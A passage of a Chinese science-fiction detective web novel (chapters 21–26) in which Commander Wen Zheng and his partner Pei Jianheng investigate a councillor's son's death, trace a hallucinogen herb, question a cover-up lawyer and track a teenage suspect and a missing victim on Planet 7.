闻指挥官：“……”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 21、第21章 我觉得你很好 闻铮想，算了，暗影组也不算完全的警部的人，骂就骂吧。 就在此时，大桥下方的临岸阴影处出现了鬼鬼祟祟的两个人，其中一个人拎着一个袋子，看上去比上次的小了一点。 闻铮站直了，眼神如隼般紧紧盯着交易的双方。 提供蓟梨草的是很普通的艾尼默人，放人堆里都看不到的那种，但好像和上次的人不一样。 而收蓟梨草的却好像是个人类，只是不知道是什么属性。 “……怎么，你也对这活感兴趣？” 见闻铮眼睛眨也不眨地盯着桥下的两个人，戈维懒懒地出声道：“这活挣得不算多，连你的大衣都买不起。” 闻铮一怔。 他缓缓将视线移向戈维：“你怎么知道？” 戈维耸肩：“在我们这一片又不是什么秘密，不知道从什么时候开始，有人大批量收购小野草，给的虽然不多，但需求比较稳定。所以我们想挣点小外快的时候就会联系他们。” 闻铮闻言，立刻将手腕伸过去：“能给我他们的联系方式吗？” 戈维瞥了一眼他手腕上的通讯，惊诧：“你还真要干啊？！” 他把闻铮的手腕按下去：“不是我不给你，我们都没有收购人的联系方式。谁要是想做这笔买卖，直接带着蓟梨草半夜三点半在这里等就行了，一手交钱一手交货。” 闻铮若有所思。 他反手指了指大桥下方：“蓟梨草到处都是，为什么还要花钱费心要你们搜集供货？” 戈维笑了，他笑起来的时候很可爱，那张脸上终于浮现出和他年纪相仿的幼态：“你傻不傻，这帮人要的当然不是普通的蓟梨草啦！” 闻铮这次是真的惊讶，他从小在7号星长大，怎么没听说蓟梨草还分普通和特殊？ 戈维从裤子屁兜里掏了掏，掏出了一朵小小的蓟梨草，好像有点舍不得，还是递给了闻铮：“喏，这个给你！他们要的是这种喔。” 亏了，一朵2块通用星币呢。 闻铮接过来，也从自己衣服里掏出了上次在岸边随手拔的一朵蓟梨草，放在一起对比，终于发现了差异。 岸边的那朵蓟梨草，花蕊是纯粹的白色，而戈维给他的这一朵，花蕊中带了淡淡的紫，在光线变幻间，甚至还有些偏光。 这种差异瞬间击中了闻铮的记忆，他想到在但丁制作非法致幻剂的现场中，被小心翼翼放在无菌仓里的，就是这种淡紫色的蓟梨草！ 闻铮谢过戈维，把两朵蓟梨草收了起来。 蓟梨草不是管制成分，私下买卖也不犯法，闻铮不可能把下面那俩人抓起来，机缘巧合之下，这个碧眼少年倒是给了他很多信息。 闻铮看向他，话还没说出口，戈维倒是先伸了个懒腰：“你刚才问问题的样子真像警部的人。” 闻指挥官：“……” 他还没等说自己确实算半个，戈维眼中就闪过一丝怅然：“……其实我一直很想加入警部，军部也行。” 闻铮有些讶异。 在7号星，这俩可都不是什么受欢迎的职业。 忙得要死不说，危险系数也更大，面对各类种族还要平衡政治问题，不然分分钟起诉且聚众游行给你看。 新人都快招不上来了，倒还是挺难得听人主动说要想干这行的。 “那就去做。”闻铮道，“警部和军部都缺人。” 戈维自嘲地笑笑：“我有案底，做不了，下辈子吧。” 案底？ 闻铮上下打量了一下这个身形瘦弱的少年，小朋友挺善良的，应该不是重罪。结合他的紧身暴露衣服和这个地界，他估摸着所谓的案底应该最多也就是卖｜淫｜或者偷窃。 “为什么想做？”闻铮靠在栏杆上，眯起眼睛，“钱少事多，还有生命危险。” “有能力保护别人，尤其是自己爱的人。”戈维说，“就这一条就够了。” 闻铮笑了，笑声在这个静谧的深夜分外明显。 戈维听到他的笑声，朝他看了过去。 这个黑发黑眼的漂亮男人笑起来的时候非常引人注目，右颊那个小小的梨涡中和了他身上那种尖锐的气息，让人……很想不由自主地接近他。 “你需要的不是一定要去做警官或军官，你需要的是变强，强大到可以保护别人。” 闻铮伸手揉乱了戈维金色的头发：“再说了，都许愿到下辈子了，怎么还只做个小小警官？反正也是许愿，大胆一点也可以。” 戈维呼吸一滞，随后也大笑起来：“那我下辈子要做星际舰队的舰长！开星舰！” 闻铮揉着他头发的动作顿了顿：“……好，开星舰。” 戈维笑累了，微微仰头看着闻铮线条锋利的下颌线，喃喃问道：“闻，你是alpha吗？” 闻铮嗯了一声。 “我是beta，很少遇到alpha，目前为止只遇到过一个，还是个畜生。”戈维说，“你是我遇到的第二个alpha，我觉得你很好。” 闻铮还没谢谢他的肯定，就听戈维用一种极为纯真的语气问他：“你要和我上｜床｜吗？虽然我不是omega，但我不收你钱。” “……” “……” “……” 闻指挥官差点被口水呛死。 他握住了戈维的肩膀，神色冷肃：“你多大？你有16岁吗？” 戈维抗议：“你瞧不起人！我17了！” 闻铮伸手轻轻捏住他的两颊，把他捏成小鸡嘴：“那你也没成年，不要随便说这种话！” 他叹了口气，看戈维手腕上没有通讯终端，就从衣服兜里掏出了一张纸巾和随身带着的笔，把自己的通讯号写在上面递给他：“……如果你遇到了什么麻烦，或者需要帮忙，你就打通讯给我。” 戈维有些迷迷糊糊地接了过来。 闻铮在离开之前，还是摸了摸小朋友的头发，声音很温柔：“保护好自己，好吗？” 黑色大衣下摆被逐渐淹没在凌晨四点的黑暗里，戈维只感觉胸口和攥着纸巾的手心都在微微地发烫。 这个人……到底是谁啊…… …… 第二天闻铮踏进办公室，脸色稍微好了些，虽然他到家已经四点半了，但还算获得了几个小时的深度睡眠，状态好很多。 裴简珩对他打了个招呼：“早。” 闻铮对他点了点头。 “我从您在黎晓那里拿到的监控录像中进行了人脸识别比对，结果出来了。”裴简珩开门见山地用工作砸向闻铮。 闻铮面不改色：“50000星币是你个人付的，监控录像就算你拿到的。” 所以别找我报销，在欧睿的案子没结之前都没钱，批不了。 裴简珩先是一愣，显然他已经完全忘记在入职第二天的时候就自掏腰包支出50000星币了。 ……入职第二天，倒贴上班。 当然，这点钱对他来说就和随手买瓶水也没什么区别了，所以他也完全没当回事，继续说：“系统显示在酒吧的那个艾尼默兔属女孩是这个人。” 悬浮屏上出现了一个容貌俏丽但双眼无神的女孩，旁边的资料写的是：向星苑，艾尼默兔属，14岁。 闻铮问：“她的前科是什么？” 联邦警部的人脸识别系统是架在犯罪库的数据库基础上运作的，能将向星苑识别出来，她一定是曾经有过前科才会被收录。 裴简珩点了两下屏幕，几不可见地叹了口气：“超市偷窃，偷了三块面包和一把水果刀。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 22、第22章 喝一杯 闻铮一瞬间还以为自己听错了，诧异：“那把水果刀镶钻了？” 三块面包而已，又不是三百块面包！ 这都没到抓人的金额标准，怎么可能还留案底？ 裴简珩笑出声，闻铮有的时候那种独有的冷幽默还是蛮有趣的。 “在和超市老板纠缠的过程中，向星苑不小心把他划伤了，虽然不严重，但也算个轻罪了。” 裴简珩解释，最后还补了一句：“用那把没镶钻的普通水果刀。” 闻铮：“……” 闻指挥官懒得理他，问：“她的地址？” 裴简珩看了一眼悬浮屏：“西四区536号。” 闻铮说：“假的。” 裴简珩愣了一下：“……啊？” 闻铮有耐心但不多：“除非她有鳃，能住蓟梨河正中间。” 裴简珩：“……” 这样啊。 稍等，你们7号星怎么连犯罪系统中的地址都可以留假的，难道不需要查证的吗？ 裴简珩只是简单思考了一下，就给出了另一个方案：“目前和向星苑有过接触的人就只有黎晓了，我去找他聊一下，如果向星苑再出现在他的酒吧里就联系我。” 闻铮认可，嘴上虽然不说，但其实心里还是有点满意裴简珩的能力的。但他还是好意提醒了一下：“黎晓不一定会配合你。” 裴简珩那双蓝色的眼睛里闪过了隐藏很深的一丝倨傲，很快消失不见：“我给了他五万星币，我的钱没有那么好拿，他既然收下了，那就要听我的话。” 旁边凯利斯正在喝裴简珩刚才买来的高品质纯茶，闻言吞咽的动作都是一顿。 怎么回事，这茶还能不能喝。 不会喝了一口自动变成裴简珩的线人了吧。 闻铮的眼底也闪过一丝笑意，虽然快到一闪而过，但裴简珩还是捕捉到了。 这是他给闻铮带来的小小快乐，让他胸口的满足感迅速地膨胀起来。 “现在是上午，酒吧不营业。”闻铮说，“晚上我和你一起去。” 裴简珩还没从满足感中回神：“嗯？这点小事倒是也不用麻烦您——” 闻铮笑了一下：“我答应过黎晓，要让他请我喝一杯的。” 裴简珩：“……” 裴简珩立刻道：“黎晓的酒吧不干净，酒杯里有虫子，两只。” 闻铮：“？” 凯利斯在旁边莫名其妙，突然说什么呢乱七八糟的。 这时办公室的公共通讯响了，就在闻铮手边，他顺手就接了：“暗影组。” 电话那头是罗斯警长的声音：“上午好，闻指挥官。您有一个访客，是一位叫李远一的律师，自称是欧赫议员长派来的。” 闻铮听到欧赫的名字，就想到了这应该是当年为欧赫给欧睿那些脏事擦屁｜股的律师了，他和欧赫说了要了解当年的情况，看来欧赫手脚还是挺快的。 闻铮嗯了一声：“多谢，麻烦请他上来。” 他放下电话，微一思索，对凯利斯说：“等欧睿的律师上来了，你把他带到审讯室去。” 凯利斯被呛到：“这律师又不是嫌疑人，带到审讯室他会翻脸的吧？” 闻铮已经率先向审讯室走过去了，只留下一句：“你就说我办公室被水淹了。” 凯利斯：“……” 哪里有水？ …… 不管凯利斯是怎么对李远一假笑哄骗的，反正十分钟后他确实坐在了审讯室里，虽然脸色也不好看。 闻铮把一瓶水推给他：“我假设欧赫议员应该已经和你打好招呼了。” 李远一是个六十多岁的中年男人，已经开始有些秃顶了，闻铮从他的啤酒肚能推断，这几年在欧赫手底下他应该也没少赚。 他的第一句话就是伴随着假笑开始的：“是的，但议员没有和我说过我会作为嫌疑人坐在审讯室里。” “慢待了，”闻铮说起谎来眼睛都不眨一下的，“我办公室水管爆了，不太适合待客。” 李远一狐疑：“刚刚你金头发那个下属说的是屋顶漏水。” 闻铮面不改色：“他说错了。” 李远一：“……” 这样吗？ 他虽然有心质疑，但这个阴森森的审讯室给他造成的心理压力还是有点大的，再加上这个黑发指挥官的威压，还有一些……别的因素影响，他还是决定不要乱说话。 闻铮用骨节敲了敲桌面：“欧赫议员已经承认，他委派你去给欧睿的罪名’善后’，我需要知道具体的情况。” 李远一不自在地动了动身体：“也没什么具体的，议员出了钱，他收了钱，我只是一个中间商。这是我做过最简单的一份工作，庭都不用开。” 闻铮捕捉到了他的动作，眉头微皱又松开，问：“多少钱？” 李远一：“八十万，已经不算少了，尤其是对艾尼默人而言。” “受害者是真的想收下这笔钱吗？”闻铮道，“我看了历史记录，欧睿可把他伤得不轻。” 他对眼前这个律师确实没有什么好感。 诚然这是他的工作，但用金钱去衡量伤害是毫无同理心的行为。 李远一可能觉得八十万星币对于在底层求生的艾尼默人来说已经很多了，但看完历史记录的闻铮认为，这并不是钱的问题。 李远一耸了耸肩：“刚开始可能有，听到金额以后就什么问题都没有了。” 闻铮微眯着眼盯着他，这种宛如狩猎审视一般的眼神让李远一坐立不安，色厉内荏地拍了一下桌子：“闻指挥官这是什么意思？先是把我搞到审讯室里来，再是不信任我说的话吗？！你搞清楚，我不是你们的犯人！” 说完他就站起来要走，看似是被闻铮这种不尊重的行为气到了，闻铮也没拦着。 甚至他推开门的时候裴简珩正在门外，见李远一怒气冲冲地出来，他下意识地要拦，闻铮却摆了摆手示意让他去。 该问的也都问了，哪怕这个李远一一看就有问题，但他是个律师，这也就意味着，在拿到确切的证据之前，他是不可能透露其他任何信息的。 就是不知道，他在这一切里面扮演的又是什么样的角色。 闻铮说：“麻烦去联系一下欧睿的受害者，确认一下在欧睿死的时候他在做什么。” 裴简珩道：“已经联系过一轮了。” 闻铮：“……” 人聪明，动作也快，这让闻铮不得不对他的工作能力很满意，颔首问：“怎么样？” “一直联系不上，但我查了空港记录，没有他离开7号星的痕迹。” 闻铮脚步一顿：“失踪了？” “也不好说，我在失踪人口信息库里也找了一圈，没有人报告他为可能失踪人口。” 裴简珩犹豫了一下，还是说了自己的推断：“但我觉得，他很有可能是关键人物。” 闻铮看向他，示意他继续说。 裴简珩把他的照片放到悬浮屏上，推给了闻铮：“陆辰林，艾尼默兔属人。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 23、第23章 秘密 在欧睿这份被掩盖又恢复的犯罪记录里，陆辰林手臂骨折，身上多处烫伤，伴随着脑震荡、其他表皮伤害和数项并发症，他没有钱和社保进瞬时医疗舱，在普通病房住了半个月的院。 当时负责他的警官在报告里写道，陆辰林很配合调查，也愿意出庭作证指认欧睿，他和欧睿甚至是法学院的同学，但陆辰林哪怕被迫休学，也没有过任何一刻的犹豫和退缩。 而在欧赫动用关系掩盖下去之后，不知道是否是收了钱私下和解的原因，他们再也没有人能联系上陆辰林。 他可能是藏起来了，也可能是失踪了。 但在这个混乱的星球上，似乎没有人在意这样一个普通的艾尼默人，也没有人上报过失踪人口，他就像一滴水落入水中，就此消失无踪。 一丝厌恶从闻铮眼底一闪而过。 他一直都认为，欧睿死了比活着，对这个世界的贡献还更大一点。 如果不是因为欧赫强压，如果他没有和德瓦人这件事有隐隐约约的关系，他看都懒得多看欧睿一眼。 闻铮垂眼，把悬浮屏上陆辰林的伤检照片一张一张看过去，在心里轻声叹气。 裴简珩看他的神色，知道他不高兴，也没再说什么，反而是闻铮主动又问：“同样都是艾尼默兔属，向星苑和陆辰林有什么关系？” 裴简珩摇头：“系统里没有显示他们是登记在册的亲属关系，陆辰林父母早亡，向星苑父母不详。” “再尝试找找陆辰林，”闻铮说，“只要他没离开7号星，就一定能找到。” 裴简珩犹豫了一下：“官方的空港记录虽然没有他出境的记录，但非法出境的可能也不是没有，7号星是排名前三的非法出境移民星球，不管是通过民用星舰的行李层或物资层，有很多办法偷渡出去——” 闻铮闻言一怔。 他不惊讶于偷渡的可能性，他从小在这里长大，当然知道偷渡出境在7号星有多普遍。他惊讶的是，裴简珩怎么会知道？ 甚至连偷渡的具体方式都清楚？ 这不是那些在星网上就能随随便便查到的公开信息，也不是内网里挂在醒目位置的告示。 一个来自联邦首都星，财力丰富权力也不小的高等星民，居然会对在五个空间跃迁之后才能到达的偏远星球上的底层法则这么熟悉？ 还有，他身上那种远超于s级alpha的体能和机能又是怎么回事？ ……裴简珩身上的秘密很多。 ——甚至很有可能，并不比闻铮身上的秘密少。 纵然心头有万千思量，闻铮倒也面上并未显露，只是让凯利斯和林瑜淞再去找找陆辰林的行踪，他带着裴简珩去跟向星苑的线索。 ——也就是，找黎晓喝酒。 …… “夜虹”酒吧在晚上七点半以后，确实比白天热闹很多。 黎晓这个老板兼酒保在这一片很出名，一个omega，长相甜美，说话好听，调酒好喝，虽然有的时候酒杯里会随机刷新出小飞虫或者头发，但这些可以捏着鼻子忽略。 所以每晚“夜虹”开门营业以后，人流量都不少。 黎晓像个花蝴蝶一样在长条吧台后面跑来跑去，跟这个艾尼默人聊两句，给那个beta调杯酒，不够他忙活的。 他刚巧笑倩兮地把一杯酒调好递给beta，就听到门口有一瞬间的小骚动。黎晓闻声看去，立刻明白了为什么这种骚动是哪儿来的。 两个alpha正推门进来，一个高大英挺，另一个瘦削俊美，他们这两个人一踏进来，这个昏暗简陋的油腻腻小酒馆瞬间变得蓬荜生辉起来。 黎晓一边在心里吐槽这俩人装逼，一边眼睛又盯着裴简珩和闻铮移不开。 裴简珩的身材让他心里直痒痒，但闻铮的脸又让他实在喜欢，好纠结啊。 尤其是这两位万中无一的alpha正拨开人群向他走来的时候，黎晓简直爽得两眼发光，一时之间也不记得这俩人是他敬而远之的身份了。 闻铮看着黎晓朝他们双眼发光的样子就忍不住想笑。 这个小酒保倒是有趣，同样都是omega，自己下辈子也没可能这么天真烂漫。 裴简珩看黎晓一直盯着闻铮，他脸上温和的假笑面具都快挂不住了，伸手就敲了敲桌子：“劳驾，醒一醒。” 黎晓：“……” 黎晓白他一眼，悻悻道：“这次你们倒是知道在我营业的时候来了。” 闻铮坐上吧台椅，朝黎晓手里的威士忌点了点头：“不是说请我喝一杯吗？” 黎晓把酒水单递给他们，塑封的材质上面油腻腻的，裴简珩不易察觉地皱了皱眉，伸出去接酒水单的手都有一秒犹豫。 闻铮倒是毫不在意地接了过来，但还是有些奇异地瞥了裴简珩一眼，虽然转瞬即逝，这还是他第一次展现出和他这种富二代关系户身份相匹配的挑剔，让裴简珩那种完美的人设出现了一丝裂缝，却使他整个人生动了起来。 本来就是。 闻指挥官在心里摇摇头，他看过裴简珩的资料，也才27岁，搞这么少年老成干什么。 他一边在心里吐槽，一边从上到下扫过那张油腻腻的酒水单，被上面每种酒的名字所震撼。 黎晓还在对面介绍：“销量最好的是苍蝇复眼，销量第二的是壁虎断尾，再次是上吊的德瓦人。” 闻铮：“……” 裴简珩：“……” 裴简珩发出疑问：“苍蝇复眼里不会有真苍蝇吧？” 黎晓耷拉眼皮，哼哼：“那可说不准，原汤化原食也有可能。” 闻铮看到裴简珩朝他这里幽幽地看了一眼，那一眼里只有两句话。 ——我就说吧。 ——有虫，两只。 闻铮有点想笑，咳了两下遮掩道：“那就你们销量最高的吧。” “苍蝇复眼”这四个字他确实有点说不出口。 黎晓奇异道：“咦？不尝试一下上吊的德瓦人么？很符合你们的身份。” 闻铮：“……” 他看着黎晓在一边调酒，他娴熟的动作总让闻铮感觉有点熟悉，在看到黎晓右手倒酒，左手在五指间隙夹了六个调酒工具后，突然怔住。 omega…… 闻铮神色一暗。 难道是他……魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 24、第24章 别对我说谎 裴简珩不太高兴。 他看着闻铮和黎晓聊的热火朝天，黎晓双眼发光，上身就差从吧台后面探出来贴到闻铮身上，虽然他知道闻铮和黎晓不会发生什么，但裴简珩还是心里郁闷，哪怕他此时此刻没有任何立场，但他对闻铮的占有欲还是顶到喉咙口马上喷薄而出了。 裴简珩轻咳一声，强行插*进了闻铮和黎晓的对话里：“我的酒呢？” 黎晓“噢”了一声，十分自然且没有一分抱歉地说：“我忘了。” 裴简珩：“……” 话是这么说，黎晓还是伸手给裴简珩调酒。他的动作很快，显然远超于普通调酒师的手速。 裴简珩偷瞄一眼闻铮，果然他正盯着黎晓手上的动作出神，闻铮看向黎晓的眼神也很复杂，复杂到裴简珩分辨不出里面是什么。 但这难道不是闻铮第二次见到黎晓吗？ 他们此前认识？ 裴简珩在察觉到这种可能性的下一刻，就立刻收了无意义的飞醋。 难道在这个7号星上，除了自己和凯利斯，还有第三个人知道闻铮的身份？ 但闻铮在上次见到黎晓的时候，还没有这种反应…… 酒杯放在他面前，玻璃杯落在台面上的声音打断了他的沉思。裴简珩点的是排名第三的“上吊的德瓦人”，眼前的透明杯子里是褐色的液体，最上面漂浮着一层白金色的泡沫。 ……就和德瓦人的黑色皮肤与浅色眼瞳一样。 裴简珩无语凝噎，转头发现闻铮看着这杯酒的表情也很微妙。 闻铮问：“德瓦人的意思明白了，上吊在哪里？” 黎晓伸手在泡沫上面扔了一个可食用的叉叉鬼脸：“喏，死掉了。” 裴简珩：“……” 闻铮：“……” 人在无语的时候真的会笑出来，闻铮把目光移到自己面前那杯绿莹莹的“苍蝇复眼”，甚至觉得它单纯的有点无趣了。 显然这一通过后，双方的态度也都缓和不少，起码黎晓不会再以问题的数量收费了。 闻铮又把电子眼录像里向星苑在吧台的照片给黎晓看：“如果她再出现，你能联系我吗？” 黎晓瞅了一眼，漫不经心：“她还是个小女孩，犯了什么大事值得你们两个alpha这么穷追猛打？” “只是找她聊一聊。”闻铮没有多说什么，“我知道她只是个小女孩，不会对她做什么的。” 虽然黎晓看似漫不经心，但闻铮能看到他隐藏的关心和紧张。 他认识向星苑？ 门边自动感应的门铃响起，有人又推开酒吧的门进来了，闻铮背对着门口，但他看到对面的黎晓瞳孔一缩，整个人变得紧张了起来！ 闻铮似有所感，转过头去。 门口站着一个穿着白t恤和牛仔裤的艾尼默兔属女孩。 ——向星苑。 向星苑推门进来，对上黎晓的眼神，她刚甜甜一笑，就看到黎晓神色僵硬，几不可见地对她摇了摇头。 向星苑脚步一顿，她看到了在吧台前坐着的两个高大的男人，心里顿感不妙，脚在地上后蹭了两下，立刻转身夺门而出！ 裴简珩也看到了向星苑，他的反应速度很快，闻铮刚站起来，他人已经冲了过去。 闻铮注意到，他就连速度都比哪怕s级的alpha快了很多。 他刚要迈开腿，却感觉自己放在吧台上的手被死死握住。 容貌清秀的omega眼神复杂地看着闻铮，轻声道：“……她很可怜，不要为难她。” 黎晓不知道自己是出于什么原因，而做出了这个举动。 这么些年的大起大落，他看清了很多事，看明白了这个所谓的自由独立的联邦精神，在光芒万丈之下到底腐烂的是什么，也清楚地知道他再不会对占尽优越待遇的alpha群体抱有任何期望。 但眼前这个瘦削凌厉的alpha，却给他一种……截然不同的感觉。 他不知道这种微妙的熟悉感来自何处，他分明只见过这个人两次，也只知道他叫闻，还是联邦比较普遍的单字名，然后率领暗影组抓德瓦人，除此以外，一概不知。 但黎晓的直觉告诉他，这个人和其他人不一样。 闻铮看着黎晓的脸，短暂的一瞬间他似乎在探寻什么，很快又消失不见。 他拍了拍黎晓的手腕，示意他放开自己：“我知道了。” 黎晓松开手，闻铮的中长发扎成一束，在背后随着走路轻轻摇晃。 ——好像和他记忆里残留的一个身影有几分重叠。 他用力摇了摇头，把这个荒谬的猜想抛出脑海。 那个人……已经消失无踪了，又怎么可能出现在这里。 …… 闻铮顺着他们的踪迹追到“夜虹”旁边的一个小巷子里，裴简珩一米九出头的高大身影在一米六左右的向星苑旁边宛如巨人，拎着她就像拎一只小猫。 他能看出来裴简珩对向星苑这种小女孩也没有很凶，态度和力气都很收敛。就连向星苑对他拳打脚踢，他也就权当小猫亮爪子，只是无奈道：“只是和你聊一聊，你这么激动容易伤到自己。” 转头他又对姗姗来迟的闻铮道：“闻指挥官，您这么闲庭信步，也不怕我追不上，她可是兔属，跑得很快的。” 闻指挥官施施然道：“那不用等一个月了，你明天就不用来了。” 裴简珩：“……” 怎么还惦记着一个月的事啊。 向星苑警惕地看着这两个人，越听他们的对话越觉得不对劲，这个拎着自己的银发alpha，怎么跟另一个黑发alpha越说越像撒娇…… 还没等她细想，另一个黑发alpha就在她面前蹲了下来：“只是问你几个问题，你别害怕。” 向星苑看起来马上就要炸毛：“你们是谁？！” 闻铮把暗影组的徽章拿出来给她看。 向星苑听过这个特殊部门，在7号星上这不是什么神秘组织，最早的时候为了将德瓦人的势力扫出7号星，暗影组确实在当时帮了艾尼默人很多，哪怕后面慢慢没落了，很多7号星的星民也都有记忆，尤其是艾尼默人。 她摇头：“那你们找错人了，我没见过德瓦人。” 闻铮不置可否，只是问：“你认识欧睿吗？” 他盯着向星苑的表情，这个小女孩阅历尚浅，不足以支持她藏好所有的表情和心思，闻铮能看到向星苑在听到欧睿的名字后瞳孔猛缩，嘴角也微微抽搐了一下，随后才别过头去：“……不认识。” 闻铮伸手钳住她的下颔，把她的脸转过来。 向星苑不得已转过脸来，下一秒就被那双漆黑的眼睛牢牢攫取住。 她听到一个低哑的声音在这个油腻脏乱的小巷子里响起。 “别对我撒谎。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 25、第25章 明白了 向星苑不知道这是哪里。 她被那两个高大的alpha直接拎到了这里，能看到是东四区警部的后门，但她却不在审讯室里，而是被带到了一个隐秘的小房间。 向星苑的精神一直都高度紧张，她被关进这个房间里之后，那两个人就出去了，她努力地贴在门上想听到他们在门外说些什么，但门的隔音很好，她基本听不到内容。 “先带到这里，”闻铮在转角的自动贩卖机给向星苑买牛奶，“麻烦你帮我联系一下何首席，就说我有个小忙想请他帮一下，问问他是否有时间来一趟这里。” 从刚刚闻铮拦下他，不让他把向星苑送到审讯室开始，裴简珩就一直想问问题，但又不确定现在是否是个好时机，有些犹豫。 闻铮瞥他一眼：“有问题就问。” “这个房间是什么？”裴简珩立刻问道，“为什么您不带她去审讯室？” 闻铮指了指房门：“这个房间是以前的更衣室，后来楼上装修扩建，这里又时不时漏水，就闲置了。” 裴简珩沉默了几秒，随后笑了笑：“明白了。” 这次换闻铮沉默，他挑眉看向裴简珩：“只想问这个？” “是的。”裴简珩道，“在您告诉我这是哪里的时候，其他的事我已经知道了。” 闻铮饶有兴致：“那你说说看，我为什么要把她带到闲置的更衣室而不是审讯室？” 咕噜一声，瓶装的牛奶从自动贩卖机窗口滚落下来。 “从东四区警部后门到这里，一路上没有任何的电子眼终端。这个房间如果曾经是更衣室，那里面也不会有。向星苑只是一个十几岁的小女孩，您不想为难她，也不想让别人知道她的身影出现在欧睿的死之中，除非有确凿的证据出现。” 裴简珩缓缓道，他抢先闻铮一步从自动贩卖机中弯腰拿起牛奶，递给他：“……您不愿意让她也成为政治的又一个牺牲品。” 闻铮有些发怔，他接过那瓶牛奶，无意中触碰到了alpha的温热的手指。 他的身体和激素仍然对这个曾经、也是唯一一个结合过的alpha有记忆，在触碰到的一瞬间，哪怕只是一个指尖，都好似有微弱的电流从指尖的一小块肌肤开始，眨眼间经由血管蔓延到了全身，甚至让他在一瞬间打了个寒颤。 闻铮下意识后退一步，又在反应过来的瞬间急匆匆地从裴简珩身边擦肩而过，只扔下一句去找何首席就拧开房门进去了更衣室，只余下裴简珩仍然站在原地出神。 他低头看着自己的手，即使是一触即分，指尖却好像还残留着闻铮手指的触感。他从自己身边急匆匆掠过的时候，留下了犹如冷空气一般的淡香味，和那晚他们耳鬓厮磨时一模一样。 以至于次日醒来，他的怀中空空如也，他试图留住最后一丝闻铮的味道，却也不过是徒劳无功。 裴简珩将右手抬到唇边，轻轻地、虔诚地吻上了那一小块指尖。 …… 更衣室里没有桌子，只有生了锈的一排柜子和凳子。身材瘦弱的艾尼默兔属女孩双手环抱膝盖坐在墙角的凳子上，把脸埋在了膝盖间。 “给你。” 略微沙哑的声音传来，向星苑抬眼看去，一只骨节分明的手正握着一瓶牛奶。 她别过头去：“我不喝！这是哪里？放我走！” “冷静一点，”闻铮坐在她旁边，“我不想为难你，所以你现在才没有坐在审讯室里。” 向星苑一声不吭。 闻铮把欧睿死亡那天晚上的监控录像给她看，指了指其中的白衣女孩：“这个人是你吗？” 向星苑一眼都没看，一口否认。 “她很像你。”闻铮道，“如果不是你，你那天晚上在哪里？” “在家看电影。”向星苑没好气，“暗影组为什么关心这个？他又不是德瓦人。” 闻铮挑眉：“所以你确实认识欧睿。” 向星苑：“……” 她眼底闪过一丝痛恨，很快又不说话了。 “我知道他做过什么，虽然7号星已经千疮百孔，但没有他还是会让这里变得好一点点。”闻铮轻声问，“他也伤害过你吗？” 向星苑的十指紧紧握成拳，用力到手臂上的青筋都暴起，在她苍白的皮肤上分外明显。 闻铮很耐心地等她回答，但只等到她接过牛奶喝了一口。 十几分钟过去，他才听到一个纤细又决绝的声音在空荡荡的房间里响起：“这个录像只是间接证据，不足以支持你逮捕我。如果你有其他的直接证据，那你就抓我。如果你没有，我要离开。” …… 裴简珩看到闻铮从楼下上来，脸色说不上好看还是不好看，只是对江悦招了招手：“向星苑在小房间，你去把她送回家。” 江悦清脆地应了。 闻铮揉了揉太阳穴，裴简珩注意到了，拿何首席做借口凑过去：“指挥官，何首席到了，在您办公室。” 闻铮点点头，在抬脚走去办公室之前，想到了什么：“裴简珩，你的猜想没错，向星苑一定和陆辰林有什么关系，但是我们没有找到。” 裴简珩一怔：“她说什么了吗？” “她知道一些法律相关的知识，”闻铮道，“一些她的生活环境中理应接触不到的知识。” 直接证据与间接证据，这两个是专业的法律名词，并且它们的定义对于普通人来说是有些门槛的。 换句话说，这两个名词及其区别，绝对不是一个生活在社会底层、甚至高中还没毕业的艾尼默小朋友能如此清楚运用的知识。 除了陆辰林。 闻铮看过他的资料，他是万里挑一的聪明人，能在这种底层挣扎求生的环境中靠自己的努力考上法学院，非常非常的难得。 而向星苑现在应该是高中的年纪，却已经没有在上学了。 “再找。”闻铮笃定，“他们一定有某种联系。” 说完，他就进了独立办公室。 裴简珩回到工位，看到对面的凯利斯正盯着通讯的悬浮屏皱眉，随口问道：“怎么这个表情？” 凯利斯摇头：“我还在尝试找陆辰林的下落，好奇怪，这个人怎么就能消失了呢……难道真的偷渡出7号星了？那可真的是找不到了。” 旁边林瑜淞突然想到了什么，随手拿起一根笔丢凯利斯：“你找过殡仪馆、墓地和医院么？” “找过了。”凯利斯说，“都找过了，除了一些私人黑市的殡仪馆没有记录外，其余的都没有陆辰林的身影。” 裴简珩此前认为陆辰林有偷渡出境的可能性，现在他反而认为不太可能了。 如果向星苑真的和陆辰林有什么关系，陆辰林能放下她一个人决绝地离开吗？ 既然墓地、殡仪馆都太多太散了，那还能有什么渠道，是每个人出了事都会第一时间联系的—— 裴简珩瞳孔一缩，打开了通讯。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 26、第26章 差不多得了 闻铮推门进去，一座山正在里面等他。 即使是闻指挥官，在短短两天内再见到被自己坑了的人，还是会有些心虚的，尤其是在还有求于人的时候。 他下意识摸了摸脖子，清清喉咙和何首席打了招呼。 何首席转过身来，闻铮以为他会生气，但却并没有，反而他还在何首席的眼睛里看到了一丝同情。 闻铮：“……？” 不过既然气氛没有很尴尬，闻铮就假装没看见那丝怜悯：“多谢何首席赶过来，是我有个不情之请。” 何首席摇头：“指挥官客气了，只要不违反规定，我会尽量帮忙。” 他和闻铮的交集不多，只知道眼前这个alpha是三年前突然出现将暗影组重新组建起来的人。他就带着这么几个人，却抓了不少德瓦人的势力，即使有过争执，何首席仍然发自内心地敬佩他。 闻铮把手里的证物袋递给他，里面装着牛奶瓶：“可以帮我检测一下瓶口的生物信息吗？” “不进系统里。”他补充了一句。 何首席接过证物袋看了看，这是一个再普通不过的牛奶瓶，走廊角落里的售卖机里都有。但他也没有再深入地追问，只是顺着问：“需要和什么做比对吗？” “需要，”闻铮沉默了一下，才道，“需要和欧睿现场另外一个生物信息做比对，结果我希望你只能告诉我，可以吗？” 这时，办公室的门被轻轻敲开了，是裴简珩。 裴简珩那颗银色的头探进来，轻声道：“找到陆辰林了。” 闻铮一怔。 找到了？ 何首席很有眼力见儿，对闻铮笑了笑：“我知道了，我加急弄，明天结果出来我再来找你。” 闻铮倒是没想到这么快，心里对何首席的愧疚又多了一些，打算过段时间请他吃顿好的，去有好咖啡的那种餐厅。 ——真的，好，咖啡。 